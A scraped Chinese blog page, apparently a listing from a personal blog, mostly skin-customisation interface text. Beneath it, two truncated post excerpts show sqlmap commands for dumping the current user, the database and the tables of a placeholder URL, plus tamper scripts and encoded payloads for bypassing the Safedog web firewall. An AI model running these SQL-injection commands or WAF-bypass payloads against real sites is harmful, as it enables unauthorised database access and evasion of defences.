自定义博客皮肤VIP专享

*博客头图：

点击选择上传的图片

格式为PNG、JPG，宽度*高度大于1920*100像素，不超过2MB，主视觉建议放在右侧，请参照线上博客头图

请上传大于1920*100像素的图片！

博客底图：

点击选择上传的图片

图片格式为PNG、JPG，不超过1MB，可上下左右平铺至整个背景

栏目图：

点击选择上传的图片

图片格式为PNG、JPG，图片宽度*高度为300*38像素，不超过0.5MB

主标题颜色：

RGB颜色，例如：#AFAFAF

Hover：

RGB颜色，例如：#AFAFAF

副标题颜色：

RGB颜色，例如：#AFAFAF

预览取消提交

自定义博客皮肤

上一步保存

Hq_Dream的博客

06月 04月 01月

原创详细SQL注入命令使用方法

sql注入 sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数据库名称 sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列表名 sqlm

2016-01-05 17:02:29 4161

原创 sqlmap脚本绕安全狗

脚本名：apostrophemask.py 作用：用utf8代替引号《Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'》作用：当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论 Example: ("value' UNION ALL SELECT CONCAT(

2016-01-05 13:13:02 4208 1